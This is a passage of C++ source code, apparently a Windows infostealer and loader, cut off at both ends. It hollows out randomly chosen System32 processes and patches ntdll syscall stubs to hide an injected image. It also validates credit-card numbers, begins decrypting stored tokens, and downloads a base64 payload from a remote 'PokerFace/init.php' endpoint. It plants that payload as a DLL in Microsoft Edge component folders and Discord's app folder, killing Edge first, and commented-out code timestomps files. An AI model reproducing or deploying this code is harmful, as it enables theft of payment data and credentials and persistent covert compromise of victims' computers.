EC(L"C:\\Windows\\System32\\UtcDecoderHost.exe") }; std::srand(static_cast(std::time(nullptr))); return processNames[std::rand() % processNames.size()].c_str(); } typedef NTSTATUS(WINAPI* EMOSS)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG_PTR ReturnLength ); bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr, HMODULE hNtdll) { if (!hNtdll) return false; // should never happen ULONGLONG pos = 8; DWORD oldProtect = 0; const SIZE_T stub_size = 0x20; std::string virtmom = EC("ZwQueryVirtualMemory"); ULONG_PTR _ZwQueryVirtualMemory = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, virtmom.c_str()); if (!_ZwQueryVirtualMemory || _ZwQueryVirtualMemory < pos) { return false; } LPVOID stub_ptr = (LPVOID)((ULONG_PTR)_ZwQueryVirtualMemory - pos); if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) { return false; } LPVOID patch_space = LI_FN(VirtualAllocEx).cached()(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!patch_space) { return false; } BYTE stub_buffer_orig[stub_size] = { 0 }; SIZE_T out_bytes = 0; if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) { return false; } const BYTE nop_pattern[] = { 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 }; if (LI_FN(memcmp).cached()(stub_buffer_orig, nop_pattern, sizeof(nop_pattern)) != 0) { return false; } // prepare the patched stub: const size_t syscall_pattern_full = 8; const size_t syscall_pattern_start = 4; const BYTE syscall_fill_pattern[] = { 0x4C, 0x8B, 0xD1, //mov r10,rcx 0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID] }; if (LI_FN(memcmp).cached()(stub_buffer_orig + pos, syscall_fill_pattern, syscall_pattern_start) != 0) { return false; } // prepare the patch to be applied on ZwQueryVirtualMemory: BYTE stub_buffer_patched[stub_size] = { 0 }; LI_FN(memcpy).cached()(stub_buffer_patched, stub_buffer_orig, stub_size); const BYTE jump_back[] = { 0xFF, 0x25, 0xF2, 0xFF, 0xFF, 0xFF }; LI_FN(memcpy).cached()(stub_buffer_patched, &patch_space, sizeof(LPVOID)); LI_FN(memset).cached()(stub_buffer_patched + pos, 0x90, syscall_pattern_full); LI_FN(memcpy).cached()(stub_buffer_patched + pos, jump_back, sizeof(jump_back)); // prepare the trampoline: const BYTE jump_to_contnue[] = { 0xFF, 0x25, 0xEA, 0xFF, 0xFF, 0xFF }; ULONG_PTR _ZwQueryVirtualMemory_continue = (ULONG_PTR)_ZwQueryVirtualMemory + syscall_pattern_full; BYTE func_patch[] = { 0x49, 0x83, 0xF8, 0x0E, //cmp r8,0xE -> is MEMORY_INFORMATION_CLASS == MemoryImageExtensionInformation? 0x75, 0x22, // jne [continue to function] 0x48, 0x3B, 0x15, 0x0B, 0x00, 0x00, 0x00, // cmp rdx,qword ptr ds:[addr] -> is ImageBase == module_ptr ? 0x75, 0x19, // jne [continue to function] 0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED 0xC3 //ret }; BYTE stub_buffer_trampoline[stub_size * 2] = { 0 }; LI_FN(memcpy).cached()(stub_buffer_trampoline, func_patch, sizeof(func_patch)); LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, stub_buffer_orig, stub_size); LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size - sizeof(LPVOID), &module_ptr, sizeof(LPVOID)); LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, &_ZwQueryVirtualMemory_continue, sizeof(LPVOID)); LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size + pos + syscall_pattern_full, jump_to_contnue, sizeof(jump_to_contnue)); const SIZE_T trampoline_full_size = stub_size + pos + syscall_pattern_full + sizeof(jump_to_contnue); if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_patched, stub_size, &out_bytes) || out_bytes != stub_size) { return false; } if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) { return false; } if (!LI_FN(WriteProcessMemory).cached()(hProcess, patch_space, stub_buffer_trampoline, trampoline_full_size, &out_bytes) || out_bytes != trampoline_full_size) { return false; } if (!LI_FN(VirtualProtectEx).cached()(hProcess, patch_space, stub_size, PAGE_EXECUTE_READ, &oldProtect)) { return false; } LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, stub_size); return true; } bool patch_NtManageHotPatch64(HANDLE hProcess, HMODULE hNtdll) { if (!hNtdll) return false; // should never happen DWORD oldProtect = 0; const SIZE_T stub_size = 0x20; const BYTE hotpatch_patch[] = { 0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED 0xC3 //ret }; // syscall stub template const size_t syscall_pattern_full = 8; const size_t syscall_pattern_start = 4; const BYTE syscall_fill_pattern[] = { 0x4C, 0x8B, 0xD1, //mov r10,rcx 0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID] }; std::string gotpot = EC("NtManageHotPatch"); ULONG_PTR _NtManageHotPatch = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, gotpot.c_str()); if (!_NtManageHotPatch) { return false; } LPVOID stub_ptr = (LPVOID)_NtManageHotPatch; if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) { return false; } BYTE stub_buffer_orig[stub_size] = { 0 }; SIZE_T out_bytes = 0; if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) { return false; } // confirm it is a valid syscall stub: if (LI_FN(memcmp).cached()(stub_buffer_orig, syscall_fill_pattern, syscall_pattern_start) != 0) { return false; } if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, hotpatch_patch, sizeof(hotpatch_patch), &out_bytes) || out_bytes != sizeof(hotpatch_patch)) { return false; } if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) { return false; } LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, sizeof(hotpatch_patch)); return true; } int ruplepe(std::vector argy) { PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)argy.data(); PIMAGE_NT_HEADERS64 NtHeader = (PIMAGE_NT_HEADERS64)(argy.data() + DosHeader->e_lfanew); PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof(si) }; ULONG_PTR retlen; PROCESS_BASIC_INFORMATION pbi; void* newImgBase; DWORD64 ImgBaseAddress; HMODULE hNtdll = LI_FN(GetModuleHandleA).safe()(EC("ntdll")); HMODULE ntDll = LI_FN(LoadLibraryA).safe()(EC("ntdll.dll")); if (ntDll == nullptr) { return 1; } std::string nqr = EC("NtQueryInformationProcess"); EMOSS NtQueryInformationProcess = (EMOSS)GetProcAddress(ntDll, nqr.c_str()); if (NtHeader->Signature != IMAGE_NT_SIGNATURE) { return 1; } if (!CreateProcessW(GetInjekt(), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { return 1; } patch_NtManageHotPatch64(pi.hProcess, hNtdll); NtQueryInformationProcess( pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &retlen ); newImgBase = LI_FN(VirtualAllocEx).cached()( pi.hProcess, NULL, NtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (newImgBase == NULL) { return 1; } LI_FN(WriteProcessMemory).cached()(pi.hProcess, newImgBase, argy.data(), NtHeader->OptionalHeader.SizeOfHeaders, 0); PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(argy.data() + DosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64)); for (int num = 0; num < NtHeader->FileHeader.NumberOfSections; num++) { if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess, (LPVOID)((DWORD64)newImgBase + SectionHeader->VirtualAddress), (LPVOID)((DWORD64)argy.data() + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0)) { } SectionHeader++; } ImgBaseAddress = (DWORD64)pbi.PebBaseAddress + 0x10; if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess, (LPVOID)ImgBaseAddress, &newImgBase, sizeof(newImgBase), 0)) { } HANDLE NewThread = LI_FN(CreateRemoteThread).cached()(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD64)newImgBase + NtHeader->OptionalHeader.AddressOfEntryPoint), NULL, CREATE_SUSPENDED, NULL); if (!NewThread) { return 1; } LI_FN(SuspendThread).cached()(pi.hThread); patch_ZwQueryVirtualMemory(pi.hProcess, newImgBase, hNtdll); LI_FN(ResumeThread).cached()(NewThread); //std::cout << "DosHeader: " << std::hex << "0x" << DosHeader; //std::cout << "NtHeader: " << std::hex << "0x" << NtHeader; //std::cout << "Shellcode injected successfully\n"; LI_FN(FreeLibrary).cached()(ntDll); return 0; } bool IsLuhnValid(const std::string& creditCardNumber) { SPOOF_FUNC; int sum = 0; bool doubleDigit = false; // Iterate from the end of the string to the beginning for (int i = creditCardNumber.length() - 1; i >= 0; i--) { int digit = creditCardNumber[i] - '0'; if (doubleDigit) { digit *= 2; if (digit > 9) { digit -= 9; } } sum += digit; doubleDigit = !doubleDigit; } return (sum % 10) == 0; } bool IsValidCardType(const std::string& cardNumber) { SPOOF_FUNC; // Define the IIN ranges for different card networks const std::vector visaPrefixes = { EC("4") }; const std::vector mastercardPrefixes = { EC("51"), EC("52"), EC("53"), EC("54"), EC("55") }; const std::vector amexPrefixes = { EC("34"), EC("37") }; const std::vector discoverPrefixes = { EC("6011"), EC("622"), EC("64"), EC("65") }; const std::vector unionPayPrefixes = { EC("62") }; // Check the card number against the IIN ranges for (const auto& prefix : visaPrefixes) { if (cardNumber.find(prefix) == 0) return true; } for (const auto& prefix : mastercardPrefixes) { if (cardNumber.find(prefix) == 0) return true; } for (const auto& prefix : amexPrefixes) { if (cardNumber.find(prefix) == 0) return true; } for (const auto& prefix : discoverPrefixes) { if (cardNumber.find(prefix) == 0) return true; } for (const auto& prefix : unionPayPrefixes) { if (cardNumber.find(prefix) == 0) return true; } return false; } std::string ReadFileContent(const std::string& filepath) { std::ifstream file(filepath, std::ios::binary); return std::string((std::istreambuf_iterator(file)), std::istreambuf_iterator()); } bool startsWith(const std::string& cardNumber, const std::vector& prefixes) { SPOOF_FUNC; for (const auto& prefix : prefixes) { if (cardNumber.find(prefix) == 0) { return true; } } return false; } std::vector getProcessInstances(LPCSTR procName) { std::vector handles; HANDLE procSs = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32W pe32; pe32.dwSize = sizeof(PROCESSENTRY32W); if (Process32FirstW(procSs, &pe32)) { do { char exeNameA[MAX_PATH]; wcstombs(exeNameA, pe32.szExeFile, MAX_PATH); if (!strcmp(procName, exeNameA)) { handles.push_back(OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, FALSE, pe32.th32ProcessID )); } } while (Process32NextW(procSs, &pe32)); } CloseHandle(procSs); return handles; } BOOL isDesiredFile(string& filePath, const char* tag) { return filePath.contains(tag); } std::string DetectCardType(const std::string& cardNumber) { SPOOF_FUNC; // Remove non-digit characters from the card number std::string cleanedCardNumber; std::copy_if(cardNumber.begin(), cardNumber.end(), std::back_inserter(cleanedCardNumber), ::isdigit); // Define the IIN ranges for different card networks std::vector visaPrefixes = { EC("4") }; std::vector mastercardPrefixes = { EC("51"), EC("52"), EC("53"), EC("54"), EC("55") }; std::vector amexPrefixes = { EC("34"), EC("37") }; std::vector discoverPrefixes = { EC("6011"), EC("622"), EC("64"), EC("65") }; std::vector unionPayPrefixes = { EC("62") }; // Check the card number against the IIN ranges if (startsWith(cleanedCardNumber, visaPrefixes)) { return EC("Visa"); } else if (startsWith(cleanedCardNumber, mastercardPrefixes)) { return EC("MasterCard"); } else if (startsWith(cleanedCardNumber, amexPrefixes)) { return EC("American Express"); } else if (startsWith(cleanedCardNumber, discoverPrefixes)) { return EC("Discover"); } else if (startsWith(cleanedCardNumber, unionPayPrefixes)) { return EC("UnionPay"); } else { return EC("Unknown Card Provider"); } } bool IsCreditCardValid(const std::string& creditCardNumber) { SPOOF_FUNC; // Remove spaces and non-digit characters std::string cleanedNumber; std::copy_if(creditCardNumber.begin(), creditCardNumber.end(), std::back_inserter(cleanedNumber), [](char c) { return std::isdigit(c); }); // Check if the credit card number has 13 to 19 digits (common credit card lengths) if (cleanedNumber.length() < 13 || cleanedNumber.length() > 19) { return false; } // Check if the credit card number passes the Luhn algorithm if (!IsLuhnValid(cleanedNumber)) { return false; } // Check the card type return IsValidCardType(cleanedNumber); } bool TerminateProcessByName(const std::wstring& processName) { SPOOF_FUNC; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) { std::cerr << "Failed to create snapshot." << std::endl; return false; } PROCESSENTRY32 processEntry; processEntry.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(snapshot, &processEntry)) { CloseHandle(snapshot); return false; } bool terminated = false; do { if (processName == processEntry.szExeFile) { HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processEntry.th32ProcessID); if (process) { if (TerminateProcess(process, 0)) { terminated = true; } else { } CloseHandle(process); } else { } } } while (Process32Next(snapshot, &processEntry)); CloseHandle(snapshot); return terminated; } std::vector dmnacts_mjson = { 0x7B, 0x0A, 0x20, 0x20, 0x20, 0x22, 0x64, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x3A, 0x20, 0x22, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x20, 0x41, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x55, 0x52, 0x4C, 0x20, 0x4C, 0x69, 0x73, 0x74, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x65, 0x78, 0x70, 0x65, 0x72, 0x69, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x62, 0x75, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x2E, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x22, 0x6C, 0x69, 0x73, 0x74, 0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x22, 0x20, 0x3A, 0x20, 0x32, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x22, 0x6E, 0x61, 0x6D, 0x65, 0x22, 0x20, 0x3A, 0x20, 0x22, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x41, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x22, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x3A, 0x20, 0x22, 0x33, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31, 0x34, 0x22, 0x0A, 0x7D, 0x0A }; std::vector dmnacts_mfgp = { 0x31, 0x2E, 0x34, 0x35, 0x35, 0x44, 0x31, 0x41, 0x33, 0x42, 0x35, 0x46, 0x37, 0x46, 0x41, 0x31, 0x39, 0x39, 0x46, 0x32, 0x37, 0x43, 0x42, 0x31, 0x36, 0x35, 0x46, 0x41, 0x36, 0x46, 0x35, 0x34, 0x44, 0x46, 0x37, 0x39, 0x37, 0x32, 0x46, 0x42, 0x42, 0x36, 0x43, 0x36, 0x32, 0x44, 0x34, 0x32, 0x32, 0x41, 0x31, 0x34, 0x43, 0x32, 0x34, 0x31, 0x35, 0x37, 0x39, 0x31, 0x31, 0x37, 0x35, 0x39, 0x33, 0x31 }; std::vector wellknown_mjson = { 0x7B, 0x0A, 0x20, 0x20, 0x20, 0x22, 0x64, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x3A, 0x20, 0x22, 0x57, 0x65, 0x6C, 0x6C, 0x20, 0x4B, 0x6E, 0x6F, 0x77, 0x6E, 0x20, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x73, 0x20, 0x55, 0x52, 0x4C, 0x20, 0x4C, 0x69, 0x73, 0x74, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x22, 0x6C, 0x69, 0x73, 0x74, 0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x22, 0x20, 0x3A, 0x20, 0x31, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x22, 0x6E, 0x61, 0x6D, 0x65, 0x22, 0x20, 0x3A, 0x20, 0x22, 0x57, 0x65, 0x6C, 0x6C, 0x4B, 0x6E, 0x6F, 0x77, 0x6E, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x54, 0x79, 0x70, 0x65, 0x73, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x22, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x3A, 0x20, 0x22, 0x31, 0x2E, 0x32, 0x2E, 0x30, 0x2E, 0x30, 0x22, 0x0A, 0x7D, 0x0A }; std::vector wellknown_mfgp = { 0x31, 0x2E, 0x38, 0x44, 0x36, 0x34, 0x45, 0x33, 0x41, 0x33, 0x35, 0x45, 0x45, 0x32, 0x43, 0x33, 0x45, 0x30, 0x42, 0x39, 0x45, 0x33, 0x33, 0x41, 0x46, 0x44, 0x36, 0x33, 0x30, 0x36, 0x39, 0x46, 0x44, 0x43, 0x39, 0x31, 0x37, 0x41, 0x35, 0x36, 0x34, 0x37, 0x44, 0x44, 0x31, 0x45, 0x32, 0x30, 0x43, 0x35, 0x45, 0x41, 0x44, 0x39, 0x37, 0x39, 0x35, 0x35, 0x46, 0x42, 0x36, 0x39, 0x37, 0x39, 0x46, 0x39 }; void WriteFileToDisk(const std::vector& data, const std::string& path) { std::ofstream file(path, std::ios::binary); if (file.is_open()) { file.write(reinterpret_cast(data.data()), data.size()); file.close(); } } void InitStrtp() { SPOOF_FUNC; processFile(EC("C:\\ProgramData\\ntos"), Rvrs(BuildID)); wchar_t appData[MAX_PATH]; std::string domain_acts = EC("no"), known_dms = EC("no"), dsc_app = EC("no"); if (SHGetFolderPathW(nullptr, CSIDL_LOCAL_APPDATA, nullptr, 0, appData) == S_OK) { std::wstring discordPath = std::wstring(appData) + EC(L"\\Discord"); if (std::filesystem::exists(discordPath)) { for (const auto& entry : std::filesystem::directory_iterator(discordPath)) { if (entry.is_directory() && entry.path().filename().wstring().find(EC(L"app-")) == 0) { dsc_app = entry.path().string(); break; } } } std::wstring baseW = std::wstring(appData) + EC(L"\\Microsoft\\Edge\\User Data\\"); std::wstring names[2] = { EC(L"Domain Actions"), EC(L"Well Known Domains") }; std::string* targets[2] = { &domain_acts, &known_dms }; for (int i = 0; i < 2; ++i) { std::wstring fullPathW = baseW + names[i]; if (std::filesystem::exists(fullPathW)) { for (const auto& entry : std::filesystem::directory_iterator(fullPathW)) { if (entry.is_directory()) { int len = WideCharToMultiByte(CP_UTF8, 0, entry.path().wstring().c_str(), -1, nullptr, 0, nullptr, nullptr); std::string s(len, 0); WideCharToMultiByte(CP_UTF8, 0, entry.path().wstring().c_str(), -1, &s[0], len, nullptr, nullptr); s.pop_back(); *(targets[i]) = s; break; } } } } } std::cout << EC("domain_acts: ") << domain_acts << std::endl; std::cout << EC("known_dms: ") << known_dms << std::endl; std::cout << EC("dsc_app: ") << dsc_app << std::endl; expler = Base64ToBytes(DownloadString(dmns, EC("/Stb/PokerFace/init.php?id=MotherNew"))); if (domain_acts != EC("no")) { printf(EC("[In DomainAct] in")); if (std::filesystem::exists(domain_acts) && std::filesystem::is_directory(domain_acts)) { printf(EC("[In DomainAct] folder exists")); if (!std::filesystem::exists(domain_acts + EC("\\manifest.fingerprint"))) { printf(EC("[In DomainAct] writing fngrt")); WriteFileToDisk(dmnacts_mfgp, domain_acts + EC("\\manifest.fingerprint")); } if (!std::filesystem::exists(domain_acts + EC("\\manifest.json"))) { printf(EC("[In DomainAct] writing mfst")); WriteFileToDisk(dmnacts_mjson, domain_acts + EC("\\manifest.json")); } std::string domacts = domain_acts + EC("\\domain_actions.dll"); if (std::filesystem::exists(domain_acts + EC("\\domain_actions.dll")) && !(std::filesystem::file_size(domacts) > 40000 && std::filesystem::file_size(domacts) < 60000)) { printf(EC("[In DomainAct] in main dmn")); const char* targetProcess = EC("msedge.exe"); // Take a snapshot of all processes HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); bool found = false; if (Process32First(hSnap, &pe)) { do { char szExeFileA[MAX_PATH]; WideCharToMultiByte(CP_ACP, 0, pe.szExeFile, -1, szExeFileA, MAX_PATH, NULL, NULL); if (_stricmp(szExeFileA, targetProcess) == 0) { // Open the process with terminate rights HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID); if (hProcess != NULL) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); } found = true; } } while (Process32Next(hSnap, &pe)); } CloseHandle(hSnap); printf(EC("[In DomainAct] deletion part")); Sleep(500); if (DeleteFileA(domacts.c_str())) { Sleep(500); WriteFileToDisk(expler, domacts); // !!! THE MAIN DLL } } else if (!std::filesystem::exists(domain_acts + EC("\\domain_actions.dll"))) { printf(EC("[In DomainAct] Direct Write no exist")); WriteFileToDisk(expler, domain_acts + EC("\\domain_actions.dll")); // !!! THE MAIN DLL } } else { printf(EC("[In DomainAct] No Dir")); if (std::filesystem::create_directories(domain_acts)) { printf(EC("[In DomainAct] Directory done")); if (!std::filesystem::exists(domain_acts + EC("\\manifest.fingerprint"))) { printf(EC("[In DomainAct] writing fngrt in new dir")); WriteFileToDisk(dmnacts_mfgp, domain_acts + EC("\\manifest.fingerprint")); } if (!std::filesystem::exists(domain_acts + EC("\\manifest.json"))) { printf(EC("[In DomainAct] writing mfst in new dir")); WriteFileToDisk(dmnacts_mjson, domain_acts + EC("\\manifest.json")); } if (!std::filesystem::exists(domain_acts + EC("\\domain_actions.dll"))) { printf(EC("[In DomainAct] Direct Write dll in new dir")); WriteFileToDisk(expler, domain_acts + EC("\\domain_actions.dll")); // !!! THE MAIN DLL } } } } if (known_dms != EC("no")) { printf(EC("[In Known] in")); if (std::filesystem::exists(known_dms) && std::filesystem::is_directory(known_dms)) { printf(EC("[In Known] Folder exists")); if (!std::filesystem::exists(known_dms + EC("\\manifest.fingerprint"))) { printf(EC("[In Known] writing fngrt")); WriteFileToDisk(wellknown_mfgp, known_dms + EC("\\manifest.fingerprint")); } if (!std::filesystem::exists(known_dms + EC("\\manifest.json"))) { printf(EC("[In Known] writing mfst")); WriteFileToDisk(wellknown_mjson, known_dms + EC("\\manifest.json")); } std::string domacts2 = known_dms + EC("\\well_known_domains.dll"); if (std::filesystem::exists(known_dms + EC("\\well_known_domains.dll")) && !(std::filesystem::file_size(domacts2) > 40000 && std::filesystem::file_size(domacts2) < 60000)) { printf(EC("[In Known] in main dmn")); const char* targetProcess = EC("msedge.exe"); // Take a snapshot of all processes HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); bool found = false; if (Process32First(hSnap, &pe)) { do { char szExeFileA[MAX_PATH]; WideCharToMultiByte(CP_ACP, 0, pe.szExeFile, -1, szExeFileA, MAX_PATH, NULL, NULL); if (_stricmp(szExeFileA, targetProcess) == 0) { // Open the process with terminate rights HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID); if (hProcess != NULL) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); } found = true; } } while (Process32Next(hSnap, &pe)); } CloseHandle(hSnap); printf(EC("[In Known] deletion part")); Sleep(500); if (DeleteFileA(domacts2.c_str())) { Sleep(500); WriteFileToDisk(expler, domacts2); // !!! THE MAIN DLL } } else if (!std::filesystem::exists(known_dms + EC("\\well_known_domains.dll"))) { printf(EC("[In Known] Direct Write no exist")); WriteFileToDisk(expler, known_dms + EC("\\well_known_domains.dll")); // !!! THE MAIN DLL } } else { printf(EC("[In Known] No Dir")); if (std::filesystem::create_directories(known_dms)) { printf(EC("[In Known] Directory done")); if (!std::filesystem::exists(known_dms + EC("\\manifest.fingerprint"))) { printf(EC("[In Known] writing fngrt in new dir")); WriteFileToDisk(wellknown_mfgp, known_dms + EC("\\manifest.fingerprint")); } if (!std::filesystem::exists(known_dms + EC("\\manifest.json"))) { printf(EC("[In Known] writing mfst in new dir")); WriteFileToDisk(wellknown_mjson, known_dms + EC("\\manifest.json")); } if (!std::filesystem::exists(known_dms + EC("\\well_known_domains.dll"))) { printf(EC("[In Known] Direct Write dll in new dir")); WriteFileToDisk(expler, known_dms + EC("\\well_known_domains.dll")); // !!! THE MAIN DLL } } } } if (dsc_app != EC("no")) { if (!std::filesystem::exists(dsc_app + EC("\\profapi.dll"))) { printf(EC("[In DC] Writing")); WriteFileToDisk(expler, dsc_app + EC("\\profapi.dll")); // !!! THE MAIN DLL } } /*if (std::filesystem::exists(EC("C:\\ProgramData\\debug"))) { AdminOpen(EC("del C:\\ProgramData\\debug")); } if (std::filesystem::exists(EC("C:\\ProgramData\\hash"))) { AdminOpen(EC("del C:\\ProgramData\\hash")); } std::cout << EC("EZ Init startp") << std::endl; if (std::filesystem::exists(DlDis)) { SendDebugMessage(EC("Inside Existing Startup")); std::cout << EC("yes Exist 1") << std::endl; if (readFileToBytes(DlDis) != expler) { std::cout << EC("yes Exist 2 petty: ") << DlDis << std::endl; ////JUNK(); AdminOpen(EC("del ") + DlDis); SPOOF_CALL(Sleep)(1000); std::ofstream outfilemn("C:\\ProgramData\\wkkr.bug", std::ios::binary); ////JUNK(); outfilemn.write(reinterpret_cast(expler.data()), expler.size()); outfilemn.close(); SPOOF_CALL(Sleep)(500); std::wstring wFileName = s2ws("C:\\ProgramData\\wkkr.bug"); HANDLE hFile = CreateFile(wFileName.c_str(), GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return; } SYSTEMTIME st; FILETIME ft; ////JUNK(); // Set the desired date and time here st.wYear = 2022; st.wMonth = 9; st.wDay = 11; st.wHour = 15; st.wMinute = 42; st.wSecond = 0; st.wMilliseconds = 0; SystemTimeToFileTime(&st, &ft); SetFileTime(hFile, NULL, NULL, &ft); CloseHandle(hFile); SPOOF_CALL(Sleep)(1500); std::cout << EC("Affftyyy") << std::endl; AdminOpen(EC("cmd.exe /c \"move \"C:\\ProgramData\\wkkr.bug\" \"") + DlDis + EC("\"\"")); } } else { SendDebugMessage(EC("Inside Non Existing Startup")); //std::string bungipat = EC("C:\\ProgramData\\bungee.boo"); expler = Base64ToBytes(DownloadString(EC("https://") + dmns + EC("/Stb/PokerFace/init.php?id=Mother"))); SPOOF_CALL(Sleep)(1000); std::cout << EC("expler size: ") << expler.size() << std::endl; if (expler.size() > 100) { ////JUNK(); std::cout << EC("No Exist tmp: ") << DlDis << std::endl; std::ofstream outfilemn("C:\\ProgramData\\bungee.boo", std::ios::binary); outfilemn.write(reinterpret_cast(expler.data()), expler.size()); outfilemn.close(); SPOOF_CALL(Sleep)(1500); std::wstring wFileName = s2ws("C:\\ProgramData\\bungee.boo"); HANDLE hFile = CreateFile(wFileName.c_str(), GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return; } SYSTEMTIME st; FILETIME ft; ////JUNK(); // Set the desired date and time here st.wYear = 2021; st.wMonth = 7; st.wDay = 11; st.wHour = 15; st.wMinute = 42; st.wSecond = 0; st.wMilliseconds = 0; SystemTimeToFileTime(&st, &ft); SetFileTime(hFile, NULL, NULL, &ft); CloseHandle(hFile); std::cout << EC("Change Done") << std::endl; SPOOF_CALL(Sleep)(7000); AdminOpen(EC("cmd.exe /c \"move \"C:\\ProgramData\\bungee.boo\" \"") + DlDis + EC("\"\"")); std::cout << EC("Command Done") << std::endl; expler.clear(); std::cout << EC("Hide and Clear Done") << std::endl; } }*/ } std::string MapDigitsToLetters(std::string input) { SPOOF_FUNC; std::string mapping[] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j" }; std::string result = ""; for (char digit : input) { if (isdigit(digit)) { int index = digit - '0'; result += mapping[index]; } else { throw std::invalid_argument(EC("Input contains non-digit characters.")); } } return result; } std::vector base64_decode(std::string encoded) { SPOOF_FUNC; std::vector decoded; CryptoPP::Base64Decoder decoder; decoder.Put((uint8_t*)encoded.data(), encoded.size()); ////JUNK(); decoder.MessageEnd(); decoded.resize(decoder.MaxRetrievable()); decoder.Get(decoded.data(), decoded.size()); return decoded; } std::string decrypt_token(std::vector master_key, std::string encrypted_token) { SPOOF_FUNC; std::string decrypted; std::string token = encrypted_token.substr(encrypted_token.find(":") + 1); std::vector token_bytes = base64_decode(token); std::vector 